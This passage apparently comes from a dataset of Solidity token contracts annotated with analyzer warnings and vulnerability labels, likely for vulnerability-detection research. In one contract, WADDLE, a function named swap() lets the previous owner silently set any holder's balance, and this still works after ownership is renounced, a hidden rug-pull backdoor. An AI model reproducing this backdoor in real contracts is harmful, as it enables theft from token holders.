ID: 382a757): CheesedToMeetYou.openTrending() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 382a757: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 53d0f3e): CheesedToMeetYou.openTrending() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 53d0f3e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cf84efc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cf84efc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrending() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-events | ID: 2baeca6\n\t\t\t// reentrancy-benign | ID: 29912f5\n\t\t\t// reentrancy-benign | ID: 0347650\n\t\t\t// reentrancy-eth | ID: cf84efc\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-events | ID: 2baeca6\n\t\t// reentrancy-benign | ID: 29912f5\n\t\t// reentrancy-benign | ID: 0347650\n\t\t// unused-return | ID: 382a757\n\t\t// reentrancy-eth | ID: cf84efc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-events | ID: 2baeca6\n\t\t// reentrancy-benign | ID: 0347650\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 29912f5\n\t\t// unused-return | ID: 53d0f3e\n\t\t// reentrancy-eth | ID: cf84efc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 29912f5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: cf84efc\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap(uint256 tokenBalances) external lockTheSwaps {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalances > 0) {\n swapTokensForEth(tokenBalances);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n saveCheeseBalance(ethBalance);\n }\n }\n\n function transfer() external {\n uint256 contractETHBalance = address(this).balance;\n\n saveCheeseBalance(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10770.sol",
"size_bytes": 23174,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_etcwithstow(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function swap(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHe == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract WADDLE is ERC20 {\n uint256 private constant TOAL_SUTSLTYLSOM = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 7ba5b16): WADDLE.DEAD shadows ERC20.DEAD\n\t// Recommendation for 7ba5b16: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 8dab1d8): WADDLE.ZERO shadows ERC20.ZERO\n\t// Recommendation for 8dab1d8: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5dedbba): WADDLE.maxTxAmoudcxEOM should be immutable \n\t// Recommendation for 5dedbba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmoudcxEOM;\n\n\t// WARNING Optimization Issue (immutable-states | ID: af81410): WADDLE.maxwalles_dsEOM should be immutable \n\t// Recommendation for af81410: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwalles_dsEOM;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ea02ed): WADDLE._burnPermtmests should be constant \n\t// Recommendation for 0ea02ed: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPermtmests = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 619d56c): WADDLE.uniswapV2Router should be immutable \n\t// Recommendation for 619d56c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Waddle Dee\", unicode\"WADDLE\", TOAL_SUTSLTYLSOM) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwalles_dsEOM = TOAL_SUTSLTYLSOM / 39;\n\n maxTxAmoudcxEOM = TOAL_SUTSLTYLSOM / 39;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPermtmests) / 100;\n\n super._transfer_etcwithstow(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmoudcxEOM, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwalles_dsEOM,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10771.sol",
"size_bytes": 18938,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a0cd962): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for a0cd962: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: a0cd962\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2a6a8f1): Contract._isExcludedFromFee is never initialized. It is used in Contract._transfer(address,address,uint256)\n\t// Recommendation for 2a6a8f1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory tokenName, string memory tokenTicker) {\n _name = tokenName;\n\n _symbol = tokenTicker;\n\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6e67823): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6e67823: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5708fdb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5708fdb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6e67823\n\t\t// reentrancy-benign | ID: 5708fdb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6e67823\n\t\t// reentrancy-benign | ID: 5708fdb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5708fdb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6e67823\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 30f427d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 30f427d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2a6a8f1): Contract._isExcludedFromFee is never initialized. It is used in Contract._transfer(address,address,uint256)\n\t// Recommendation for 2a6a8f1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 60aa1a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 60aa1a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 30f427d\n\t\t\t\t// reentrancy-eth | ID: 60aa1a9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 30f427d\n\t\t\t\t\t// reentrancy-eth | ID: 60aa1a9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 60aa1a9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 60aa1a9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 60aa1a9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 30f427d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 60aa1a9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 60aa1a9\n _balances[to] = 